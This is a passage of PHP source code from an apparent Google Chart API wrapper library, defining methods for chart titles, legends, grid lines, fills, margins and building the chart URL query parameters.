	 * @see http://code.google.com/apis/chart/docs/chart_params.html#gcharts_chart_title
	 * @return $this
	 */
	public function setTitle($title)
	{
		$this->title = $title;
		return $this;
	}

	/**
	 * Returns chart title setted by setTitle().
	 * @return string
	 */
	public function getTitle()
	{
		return $this->title;
	}

	/** @internal
	 * Compute @c chtt parameter (chart title).
	 *
	 * @return string or null if parameter is not needed
	 * @see http://code.google.com/apis/chart/docs/chart_params.html#gcharts_chart_title
	 */
	public function computeChtt()
	{
		if ( $this->title === null )
			return null;

		return str_replace(array("\r","\n"), array('','|'), $this->title);
	}

	/**
	 * Set the color of the title (@c chts).
	 *
	 * @param $color (string in ) The title color, in RRGGBB hexadecimal format. Default color is black.
	 *
	 * @since 0.4
	 * @see http://code.google.com/apis/chart/docs/chart_params.html#gcharts_chart_title
	 */
	public function setTitleColor($color)
	{
		$this->chts = true;
		$this->title_color = $color;
		return $this;
	}

	/**
	 * Returns the title color.
	 *
	 * If no title color has been set using setTitleColor(), it will returns
	 * the default title color.
	 *
	 * @since 0.4
	 * @return string in RRGGBB format
	 */
	public function getTitleColor()
	{
		return $this->title_color;
	}

	/**
	 * Set the font size of the title (@c chts).
	 *
	 * @param $size (int) Font size of the title, in points.
	 *
	 * @since 0.4
	 * @see http://code.google.com/apis/chart/docs/chart_params.html#gcharts_chart_title
	 */
	public function setTitleSize($size)
	{
		$this->chts = true;
		$this->title_size = $size;
		return $this;
	}

	/**
	 * Returns the title size.
	 *
	 * If no title size has been set using setTitleSize(), it will returns the
	 * default title color.
	 *
	 * @since 0.4
	 * @return string
	 */
	public function getTitleSize()
	{
		return $this->title_size;
	}

	/** @internal
	 * Compute @c chts parameter.
	 *
	 * @since 0.4
	 * @return string or null if the parameter is not needed
	 * @see http://code.google.com/apis/chart/docs/chart_params.html#gcharts_chart_title
	 */
	public function computeChts()
	{
		return $this->title_color.','.$this->title_size;
	}

	/**
	 * @internal
	 * Return true if chts parameter is needed
	 * Little trick here, if no title is set, then chts is not needed, even
	 * if specified
	 * @return bool
	 */
	public function hasChts()
	{
		return $this->chts;
	}

//@}

/**
 * @name Chart Legend Text and Style (@c chdl, @c chdlp, @c chma)
 */
//@{

	/**
	 * Set position of the legend box (@c chdlp).
	 *
	 * The parameter is not checked so you can pass whatever you want. This way,
	 * if the Google Chart API evolves, this library will still works. However,
	 * be warned that you chart may not be displayed as expected if you pass wrong
	 * parameter.
	 *
	 * @see http://code.google.com/apis/chart/docs/chart_params.html#gcharts_legend
	 *
	 * @param $position (string)
	 *   One of the following: 'b', 'bv', 't', 'tv', 'r', 'l'
	 *   (read Google Chart Documentation for details).
	 * @return $this
	 */
	public function setLegendPosition($position)
	{
		$this->legend_position = $position;
		return $this;
	}

	/**
	 * Set labels order inside the legend box (chdlp).
	 *
	 * The parameter is not checked so you can pass whatever you want. This way,
	 * if the Google Chart API evolves, this library will still works. However,
	 * be warned that you chart may not be displayed as expected if you pass wrong
	 * parameter.
	 *
	 * @see http://code.google.com/apis/chart/docs/chart_params.html#gcharts_legend
	 *
	 * @param $label_order (string)
	 *   One of the following: 'l', 'r', 'a', or a list of numbers
	 *   separated by commas (read Google Chart Documentation for details).
	 * @return $this
	 */
	public function setLegendLabelOrder($label_order)
	{
		$this->legend_label_order = $label_order;
		return $this;
	}

	/**
	 * Set if empty legends entries shoud be skipped in the legend or not.
	 *
	 * @param $skip_empty (bool)
	 */
	public function setLegendSkipEmpty($skip_empty)
	{
		$this->legend_skip_empty = (bool) $skip_empty;
		return $this;
	}

	/**
	 * Size of the legend box (@c chma).
	 *
	 * @since 0.5
	 * @param $width (int)
	 * @param $height (int)
	 */
	public function setLegendSize($width, $height)
	{
		$this->legend_size = array(
			'width' => $width,
			'heigh' => $height
		);
		return $this;
	}

	/**
	 * @internal
	 * @since 0.4
	 */
	public function computeChdlp()
	{
		$str = '';
		if ( $this->legend_position !== null ) {
			$str .= $this->legend_position;
		}
		if ( $this->legend_skip_empty === true ) {
			$str .= 's';
		}
		if ( $this->legend_label_order !== null ) {
			$str .= '|'.$this->legend_label_order;
		}
		return $str;
	}

	/**
	 * @internal
	 * @since 0.4
	 */
	public function hasChdlp()
	{
		return $this->legend_skip_empty === true || $this->legend_position !== null || $this->legend_label_order !== null;
	}
//@}

	/**
	 * Specify solid or dotted grid lines on the chart. (@c chg)
	 *
	 * @param $x_axis_step_size
	 * @param $y_axis_step_size
	 * @param $dash_length
	 * @param $space_length
	 * @param $x_offset
	 * @param $y_offset
	 *
	 * @see http://code.google.com/apis/chart/docs/chart_params.html#gcharts_grid_lines
	 */
	public function setGridLines($x_axis_step_size, $y_axis_step_size, $dash_length = false,
	                             $space_length = false, $x_offset = false, $y_offset = false)
	{
		$this->grid_lines = $x_axis_step_size.','.$y_axis_step_size;
		if ( $dash_length !== false ) {
			$this->grid_lines .= ','.$dash_length;
			if ( $space_length !== false ) {
				$this->grid_lines .= ','.$space_length;
				if ( $x_offset !== false ) {
					$this->grid_lines .= ','.$x_offset;
					if ( $y_offset !== false ) {
						$this->grid_lines .= ','.$y_offset;
					}
				}
			}
		}
		return $this;
	}

/**
 * @name Gradient, Solid and Stripped Fills (chf)
 */
//@{
	/**
	 * Set a solid background (fill) for an area (@c chf).
	 *
	 * @param $color (string) RGB color
	 * @param $area One of the following:
	 * - GoogleChart::BACKGROUND for the whole background
	 * - GoogleChart::CHART_AREA for only the chart area background
	 * @return $this
	 */
	public function setFill($color, $area = self::BACKGROUND)
	{
		if ( $area != self::BACKGROUND && $area != self::CHART_AREA ) {
			throw new InvalidArgumentException('Invalid fill area.');
		}

		$this->fills[$area] = $area.',s,'.$color;
		return $this;
	}

	/**
	 * Set the opacity for solid background (fill).
	 *
	 * @param $opacity (int) Between 0 (transparent) and 100 (opaque)
	 * @return $this
	 */
	public function setOpacity($opacity)
	{
		if ( $opacity < 0 || $opacity > 100 ) {
			throw new InvalidArgumentException('Invalid opacity (must be between 0 and 100).');
		}

		// 100% = 255
		$opacity = str_pad(dechex(round($opacity * 255 / 100)), 8, 0, STR_PAD_LEFT);

		// Opacity doesn't work with other backgrounds
		$this->fills[self::BACKGROUND] = 'a,s,'.$opacity;

		return $this;
	}

	/**
	 * Gradient fill.
	 *
	 * @param $angle (int)
	 *  A number specifying the angle of the gradient
	 *  from 0 (horizontal) to 90 (vertical).
	 * @param $colors (array)
	 *  An array of color of the fill. Each color can be a
	 *  string in RRGGBB hexadecimal format, or an array of two values: RRGGBB
	 *  color, and color centerpoint.
	 *
	 * @see http://code.google.com/apis/chart/docs/chart_params.html#gcharts_gradient_fills
	 */
	public function setGradientFill($angle, array $colors, $area = self::BACKGROUND)
	{
		if ( $angle < 0 || $angle > 90 ) {
			throw new InvalidArgumentException('Invalid angle (must be between 0 and 90).');
		}

		if ( ! isset($colors[1]) ) {
			throw new InvalidArgumentException('You must specify at least 2 colors to create a gradient fill.');
		}

		if ( $area != self::BACKGROUND && $area != self::CHART_AREA ) {
			throw new InvalidArgumentException('Invalid area.');
		}

		$tmp = array();
		$i = 0;
		$n = sizeof($colors);
		for ( $i = 0; $i < $n; $i++ ) {
			$centerpoint = null;
			$color = null;

			if ( is_array($colors[$i]) ) {
				$c = $colors[$i];
				if ( ! isset($c[0]) ) {
					throw new InvalidArgumentException('Each color must be an array of the color code in RRGGBB and the color centerpoint.');
				}
				$color = $c[0];
				if ( isset($c[1]) ) {
					$centerpoint = $c[1];
				}
			}
			else {
				$color = $colors[$i];
			}
			// No color centerpoint, try to calculate a good one:
			if ( ! $centerpoint ) {
				$centerpoint = $i / ($n-1);
			}
			$tmp[] = $color.','.round($centerpoint,2);
		}

		$this->fills[$area] = $area.',lg,'.$angle.','.implode(',',$tmp);
	}

	/**
	 * Striped fill.
	 * @todo
	 */
	public function setStripedFill($angle, array $colors, $area = self::BACKGROUND)
	{

	}
//@}

/**
 * @name Chart Margins
 */
//@{

	/**
	 * Set margin around the charts (@c chma).
	 *
	 * This function works like the CSS property "margin" :
	 * - If you specify only one parameter, then this value is used for all.
	 * - If you specify 2 parameters, then first is "top/bottom" and second is "left/right"
	 * - If you specify 4 parameters, then they are: top, right, bottom, left (tips: it's clockwise).
	 *
	 * @since 0.5
	 *
	 * @param $top (float)
	 * @param $right (float)
	 * @param $bottom (float)
	 * @param $left (float)
	 * @return $this
	 */
	public function setMargin($top, $right = null, $bottom = null, $left = null)
	{
		// If only one value, then all have the same values
		if ( $left === null && $right === null && $bottom === null ) {
			$this->margin = array(
				'left' => (float) $top,
				'right' => (float) $top,
				'top' => (float) $top,
				'bottom' => (float) $top
			);
		}
		elseif ( $left === null && $bottom === null ) {
			$this->margin = array(
				'left' => (float) $right,
				'right' => (float) $right,
				'top' => (float) $top,
				'bottom' => (float) $top
			);
		}
		else {
			$this->margin = array(
				'left' => (float) $left,
				'right' => (float) $right,
				'top' => (float) $top,
				'bottom' => (float) $bottom
			);
		}
		return $this;
	}

	/**
	 * @internal
	 */
	public function computeChma()
	{
		$str = '';
		if ( $this->margin ) {
			$str = implode(',',$this->margin);
		}
		if ( $this->legend_size ) {
			$str .= '|'.implode(',',$this->legend_size);
		}
		return $str;
	}

	/**
	 * @internal
	 */
	public function hasChma()
	{
		return $this->margin !== null || $this->legend_size !== null;
	}

//@}

/**
 * @name URL creation
 */
//@{

	/**
	 * Compute the whole query as an array.
	 * @internal
	 * Shouldn't be overrided, but who knows?
	 */
	protected function computeQuery()
	{
		$q = array(
			'cht' => $this->type,
			'chs' => $this->width.'x'.$this->height
		);

		$this->compute($q);

		$q = array_merge($q, $this->parameters);

		return $q;
	}

	/**
	 * Compute the whole query as an array.
	 * @internal
	 * To be overrided by child classes.
	 */
	protected function compute(array & $q)
	{
		if ( $this->grid_lines ) {
			$q['chg'] = $this->grid_lines;
		}
		if ( $this->fills ) {
			$q['chf'] = implode('|',$this->fills);
		}

		if ( $this->hasChma() ) {
			$q['chma'] = $this->computeChma();
		}
		$this->computeTitle($q);

		$this->computeScale($q);
		$this->computeData($q);
		$this->computeMarkers($q);
		$this->computeAxes($q);
	}

	/**
	 * Compute title related parameters (chtt and chts)
	 * @internal
	 */
	protected function computeTitle(array & $q)
	{
		if ( $this->title ) {
			$q['chtt'] = $this->computeChtt();

			if ( $this->hasChts() ) {
				$q['chts'] = $this->computeChts();
			}
		}
	}

	/**
	 * @internal
	 * @since 0.5
	 */
	protected function computeScale(array & $q)
	{
		if ( ! $this->autoscale )
			return $this;

		$value_min = 0;
		$value_max = 0;

		foreach ( $this->data as $i => $d ) {
			$values = $d->getValues();
			if ( $values === null || empty($values) )
				continue;

			$max = max($values);
			$min = min($values);
			if ( $max > $value_max ) {
				$value_max = $max;
			}
			if ( $min < $value_min ) {
				$value_min = $min;
			}
		}

		if ( $value_min > 0 )
			$value_min = 0;

		$this->scale = array('min' => $value_min, 'max' => $value_max);
		return $this;
	}

	/**
	 * Compute data series.
	 *
	 * @note This function is too long. I think it needs a redesign, but for the
	 * moment I have no idea how to make it shorter.
	 *
	 * @internal
	 */
	protected function computeData(array & $q)
	{
		$data = array();

		$colors = array();
		$colors_needed = false;

		$styles = array();
		$styles_needed = false;

		$fills = array();

		$scales = array();
		$scale_needed = false;

		$legends = array();
		$legends_needed = false;

		if ( $this->_compute_data_label ) {
			$labels = array();
		}

		foreach ( $this->data as $i => $d ) {
			// Data serie values and scale
			if ( $d->hasValues() ) {
				$data[] = $d->computeChd($this->data_format, $this->scale);
				// Compute per-data scale only if autoscale if off
				if ( ! $this->autoscale && ! $this->scale ) {
					$scales[] = $d->computeChds();
					if ( $d->hasCustomScale() ) {
						$scale_needed = true;
					}
				}
			}

			// Data serie color (chco)
			$colors[] = $d->computeChco();
			if ( $colors_needed == false && $d->hasChco() ) {
				$colors_needed = true;
			}

			// Data serie style (chls)
			$styles[] = $d->computeChls();
			if ( $styles_needed == false && $d->hasChls() ) {
				$styles_needed = true;
			}

			$tmp = $d->computeChm($i);
			if ( $tmp ) {
				$fills[] = $tmp;
			}

			$legends[] = $d->getLegend();
			if ( $legends_needed == false && $d->hasCustomLegend() ) {
				$legends_needed = true;
			}

			if ( $this->_compute_data_label ) {
				$labels[] = $d->computeChl();
			}
		}
		if ( ! isset($data[0]) )
			return;

		$q['chd'] = $this->data_format.':'.implode($this->data_separator[$this->data_format],$data);

		if ( $colors_needed ) {
			$q['chco'] = implode(',',$colors);
		}
		if ( $styles_needed ) {
			$q['chls'] = implode('|',$styles);
		}

		if ( $this->_compute_data_label ) {
			$tmp = rtrim(implode('|',$labels),'|');
			if ( $tmp ) {
				$q['chl'] = $tmp;
			}
		}

		if ( $this->scale ) {
			$q['chds'] = $this->computeChds();
		}
		elseif ( $scale_needed && isset($scales[0]) ) {
			$q['chds'] = implode(',', $scales);
		}

		// Legends
		if ( $legends_needed ) {
			$q['chdl'] = implode('|',$legends);
			if ( $this->hasChdlp() ) {
				$q['chdlp'] = $this->computeChdlp();
			}
		}

		if ( isset($fills[0]) )
			$q['chm'] = implode('|',$fills);

		return $this;
	}


	/**
	 * Compute the markers.
	 * @internal
	 * This function loops through the lists of the markers.
	 */
	protected function computeMarkers(array & $q)
	{
		$markers = array();
		$dynamic_markers = array();
		$additional_data = array();

		$nb_data_series = sizeof($this->data);
		$current_index = $nb_data_series;

		$array = $this->markers + $this->dynamic_markers;
		foreach ( $array as $m ) {
			$data = $m->getData();

			$index = null;
			if ( $data ) {
				// Get the data serie index
				$index = $data->getIndex();
				if ( $index === null ) {
					$additional_data[] = $data->computeChd($this->data_format);
					$index = $current_index;
					$current_index += 1;
				}
			}

			// Now $index contains the correct data serie index
			$tmp = $m->compute($index, $this->type);
			if ( $tmp === null )
				continue; // Ignore empty markers

			if ( $m instanceof GoogleChartMarker ) {
				$markers[] = $tmp;
			}
			else {
				$dynamic_markers[] = $tmp;
			}
		}

		if ( isset($markers[0]) ) {
			$q['chm'] = (isset($q['chm']) ? $q['chm'].'|' : '').implode('|',$markers);
		}

		if ( isset($dynamic_markers[0]) ) {
			$q['chem'] = implode('|',$dynamic_markers);
		}

		// Append every additional_data to 'chd'
		if ( isset($additional_data[0]) ) {
			$q['chd'] = $this->data_format.$nb_data_series.substr($q['chd'],1).$this->data_separator[$this->data_format].implode($this->data_separator[$this->data_format],$additional_data);
		}
	}

	/**
	 * Compute axes.
	 * @internal
	 */
	protected function computeAxes(array & $q)
	{
		$axes = array();
		$labels = array();
		$ranges = array();
		$tick_marks = array();
		$styles = array();
		$label_positions = array();
		foreach ( $this->axes as $i => $a ) {
			$axes[] = $a->getName();
			if ( $a->hasCustomLabels() ) {
				$labels[] = sprintf($a->getLabels(), $i);
			}

			$tmp = $a->getRange();
			if ( $tmp !== null ) {
				$ranges[] = sprintf($tmp, $i);
			}

			$tmp = $a->getTickMarks();
			if ( $tmp !== null ) {
				$tick_marks[] = sprintf($tmp, $i);
			}

			$tmp = $a->computeChxs($i, $this->type);
			if ( $tmp !== null ) {
				$styles[] = $tmp;
			}

			if ( $a->hasChxp() ) {
				$label_positions[] = $a->computeChxp($i);
			}
		}
		if ( isset($axes[0]) ) {
			$q['chxt'] = implode(',',$axes);
			if ( isset($labels[0]) ) {
				$q['chxl'] = implode('|',$labels);
			}
			if ( isset($ranges[0]) ) {
				$q['chxr'] = implode('|', $ranges);
			}
			if ( isset($tick_marks[0]) ) {
				$q['chxtc'] = implode('|', $tick_marks);
			}
			if ( isset($styles[0]) ) {
				$q['chxs'] = implode('|', $styles);
			}
			if ( isset($label_positions[0]) ) {
				$q['chxp'] = implode('|',$label_positions);
			}
		}

		return $this;
	}

//@}


}

/** @example line_chart.php
 * A basic example of how to work with line chart.
 */
/** @example line_chart_sin_cos.php
 * Another line chart example, with multiple data series.
 */
/**
 * @example line_chart_full.php
 * Another line chart example with plenty of options enabled.
 */